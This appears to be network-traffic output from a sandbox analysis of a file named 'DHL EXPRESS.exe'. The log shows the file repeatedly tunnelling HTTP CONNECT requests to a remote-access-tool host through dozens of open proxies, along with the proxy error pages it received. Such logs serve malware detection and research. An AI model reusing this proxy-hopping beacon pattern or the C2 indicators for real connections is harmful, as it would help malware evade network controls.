Mar 11, 2024 18:37:25.656336069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:27.695019960 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
969	192.168.2.8	52784	159.223.71.71	59159	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.217365026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.097012997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.206496000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.268655062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.409833908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.464637995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.563162088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
970	192.168.2.8	52865	38.54.101.254	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.226898909 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:51.403192997 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
971	192.168.2.8	52788	147.12.46.62	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.227051020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.558433056 CET	1254	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html;charset=utf-8 Content-Length: 952 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 31 37 3a 33 36 3a 34 39 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://artemis-rat.com/">https://artemis-rat.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 17:36:49 GMT</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
972	192.168.2.8	52791	70.166.167.55	57745	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.229837894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
973	192.168.2.8	52802	23.19.244.109	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.230559111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
974	192.168.2.8	50882	103.214.219.23	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.230560064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.269071102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.269536018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.269208908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.362658978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
975	192.168.2.8	52794	114.156.77.107	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.230770111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
976	192.168.2.8	52768	103.200.135.229	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.235166073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
977	192.168.2.8	52789	60.188.102.225	18080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.240753889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
978	192.168.2.8	52797	211.222.252.187	8197	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.243516922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
979	192.168.2.8	52790	37.235.48.19	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.277976990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
980	192.168.2.8	52793	212.127.93.185	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.285832882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
981	192.168.2.8	52280	146.19.106.42	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.286026001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
982	192.168.2.8	52719	154.72.73.226	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.286029100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
983	192.168.2.8	52800	58.75.126.235	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.291012049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
984	192.168.2.8	52282	146.19.106.194	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.296288967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
985	192.168.2.8	52812	147.75.34.86	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.310168028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.615106106 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
986	192.168.2.8	52815	119.196.168.183	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.312510014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.615251064 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
987	192.168.2.8	51545	120.234.203.171	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.321733952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.331098080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.409974098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.464509964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.519346952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
988	192.168.2.8	52902	72.210.252.137	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.322468996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
989	192.168.2.8	52841	128.140.26.12	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.331288099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.640038013 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.2 Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
990	192.168.2.8	52801	80.78.64.70	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.348824024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.167876959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
991	192.168.2.8	52803	31.134.151.40	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.354785919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
992	192.168.2.8	52842	45.138.87.238	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.368602037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
993	192.168.2.8	52856	188.235.0.207	8181	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

